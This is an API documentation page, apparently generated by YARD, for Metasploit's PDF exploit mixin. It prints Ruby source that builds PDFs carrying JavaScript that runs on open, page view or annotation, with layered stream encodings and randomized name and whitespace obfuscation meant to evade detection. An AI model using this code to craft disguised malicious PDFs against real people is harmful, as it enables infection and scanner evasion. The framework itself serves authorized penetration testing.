<span class='kw'>return</span> <span class='id identifier rubyid_str'>str</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_str'>str</span><span class='period'>.</span><span class='id identifier rubyid_each_byte'>each_byte</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_b'>b</span><span class='op'>|</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%02x</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_b'>b</span>
|
|||
|
|
<span class='id identifier rubyid_whitespace'>whitespace</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> </span><span class='tstring_end'>"</span></span> <span class='op'>*</span> <span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>></span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="create_pdf-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>create_pdf</strong>(js) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Controller function, should be entrypoint for pdf exploits</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
223
|
|||
|
|
224
|
|||
|
|
225
|
|||
|
|
226
|
|||
|
|
227
|
|||
|
|
228
|
|||
|
|
229
|
|||
|
|
230
|
|||
|
|
231
|
|||
|
|
232
|
|||
|
|
233
|
|||
|
|
234
|
|||
|
|
235
|
|||
|
|
236
|
|||
|
|
237
|
|||
|
|
238
|
|||
|
|
239
|
|||
|
|
240
|
|||
|
|
241
|
|||
|
|
242
|
|||
|
|
243
|
|||
|
|
244
|
|||
|
|
245
|
|||
|
|
246
|
|||
|
|
247
|
|||
|
|
248
|
|||
|
|
249</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 223</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_create_pdf'>create_pdf</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='int'>0</span>
|
|||
|
|
<span class='id identifier rubyid_arrEncodings'>arrEncodings</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII85</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>FLATE</span><span class='tstring_end'>'</span></span><span class='comma'>,</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>RUN</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|||
|
|
<span class='id identifier rubyid_arrEncodings'>arrEncodings</span> <span class='op'>=</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_shuffle'>shuffle</span>
|
|||
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'><</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
|||
|
|
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|||
|
|
<span class='kw'>else</span>
|
|||
|
|
<span class='id identifier rubyid_numIterations'>numIterations</span> <span class='op'>=</span> <span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>for</span> <span class='id identifier rubyid_i'>i</span> <span class='kw'>in</span> <span class='lparen'>(</span><span class='int'>0</span><span class='op'>..</span><span class='id identifier rubyid_numIterations'>numIterations</span><span class='op'>-</span><span class='int'>1</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>==</span> <span class='int'>0</span>
|
|||
|
|
<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>next</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='id identifier rubyid_arrResults'>arrResults</span> <span class='op'>=</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrEncodings'>arrEncodings</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>case</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Method</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PAGE</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_pdf_with_page_exploit'>pdf_with_page_exploit</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOCUMENT</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_pdf_with_openaction_js'>pdf_with_openaction_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ANNOTATION</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_pdf_with_annot_js'>pdf_with_annot_js</span><span class='lparen'>(</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='comma'>,</span><span class='id identifier rubyid_arrResults'>arrResults</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="endobj-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>endobj</strong> ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
208
|
|||
|
|
209
|
|||
|
|
210</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 208</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_endobj'>endobj</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endobj</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="eol-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>eol</strong> ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
200
|
|||
|
|
201
|
|||
|
|
202</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 200</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='ivar'>@eol</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>\x0d\x0a</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="eol=-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>eol=</strong>(new_eol) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
204
|
|||
|
|
205
|
|||
|
|
206</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 204</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_eol='>eol=</span><span class='lparen'>(</span><span class='id identifier rubyid_new_eol'>new_eol</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@eol</span> <span class='op'>=</span> <span class='id identifier rubyid_new_eol'>new_eol</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="finish_pdf-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>finish_pdf</strong> ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
163
|
|||
|
|
164
|
|||
|
|
165
|
|||
|
|
166
|
|||
|
|
167
|
|||
|
|
168
|
|||
|
|
169</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 163</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
|||
|
|
<span class='ivar'>@xref_offset</span> <span class='op'>=</span> <span class='ivar'>@pdf</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_xref_table'>xref_table</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_trailer'>trailer</span><span class='lparen'>(</span><span class='int'>1</span><span class='rparen'>)</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_startxref'>startxref</span>
|
|||
|
|
<span class='ivar'>@pdf</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="header-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>header</strong>(version = '1.5') ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>PDF building block functions</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
150
|
|||
|
|
151
|
|||
|
|
152
|
|||
|
|
153
|
|||
|
|
154</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 150</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_header'>header</span><span class='lparen'>(</span><span class='id identifier rubyid_version'>version</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>1.5</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_hdr'>hdr</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%PDF-</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_version'>version</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_hdr'>hdr</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_random_non_ascii_string'>random_non_ascii_string</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_hdr'>hdr</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="initialize-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>initialize</strong>(info = {}) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
12
|
|||
|
|
13
|
|||
|
|
14
|
|||
|
|
15
|
|||
|
|
16
|
|||
|
|
17
|
|||
|
|
18
|
|||
|
|
19
|
|||
|
|
20
|
|||
|
|
21
|
|||
|
|
22
|
|||
|
|
23
|
|||
|
|
24
|
|||
|
|
25
|
|||
|
|
26
|
|||
|
|
27</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 12</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>super</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
|
|||
|
|
<span class='lbracket'>[</span>
|
|||
|
|
<span class='const'><span class='object_link'><a href="../OptBool.html" title="Msf::OptBool (class)">OptBool</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptBool.html#initialize-instance_method" title="Msf::OptBool#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Whether or not we should obfuscate the output</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='kw'>true</span> <span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
|||
|
|
<span class='const'><span class='object_link'><a href="../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Method</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Select PAGE, DOCUMENT, or ANNOTATION</span><span class='tstring_end'>'</span></span> <span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DOCUMENT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
|||
|
|
<span class='const'><span class='object_link'><a href="../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Encoder</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
|||
|
|
<span class='const'><span class='object_link'><a href="../OptInt.html" title="Msf::OptInt (class)">OptInt</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../OptBase.html#initialize-instance_method" title="Msf::OptBase#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::MultiFilter</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Stack multiple encodings n times</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='int'>1</span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
|||
|
|
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="" title="Msf::Exploit::PDF (module)">PDF</a></span></span>
|
|||
|
|
<span class='rparen'>)</span>
|
|||
|
|
|
|||
|
|
<span class='comment'># We're assuming we'll only create one pdf at a time here.
|
|||
|
|
</span><span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
|||
|
|
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="io_def-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>io_def</strong>(id) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
212
|
|||
|
|
213
|
|||
|
|
214</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 212</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_io_def'>io_def</span><span class='lparen'>(</span><span class='id identifier rubyid_id'>id</span><span class='rparen'>)</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%d 0 obj</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="io_ref-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>io_ref</strong>(id) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
216
|
|||
|
|
217
|
|||
|
|
218</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 216</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='id identifier rubyid_id'>id</span><span class='rparen'>)</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%d 0 R</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="nobfu-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>nobfu</strong>(str) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p><a href="http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways">blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways</a>/</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
133
|
|||
|
|
134
|
|||
|
|
135
|
|||
|
|
136
|
|||
|
|
137
|
|||
|
|
138
|
|||
|
|
139
|
|||
|
|
140
|
|||
|
|
141
|
|||
|
|
142
|
|||
|
|
143
|
|||
|
|
144
|
|||
|
|
145</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 133</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='id identifier rubyid_str'>str</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>return</span> <span class='id identifier rubyid_str'>str</span> <span class='kw'>if</span> <span class='kw'>not</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>PDF::Obfuscate</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_str'>str</span><span class='period'>.</span><span class='id identifier rubyid_scan'>scan</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>.</span><span class='regexp_end'>/u</span></span><span class='rparen'>)</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_c'>c</span><span class='op'>|</span>
|
|||
|
|
<span class='kw'>if</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'>==</span> <span class='int'>0</span> <span class='kw'>and</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span> <span class='op'>>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>A</span><span class='tstring_end'>'</span></span> <span class='kw'>and</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_upcase'>upcase</span> <span class='op'><=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Z</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>#%x</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_c'>c</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>C*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='kw'>else</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_c'>c</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
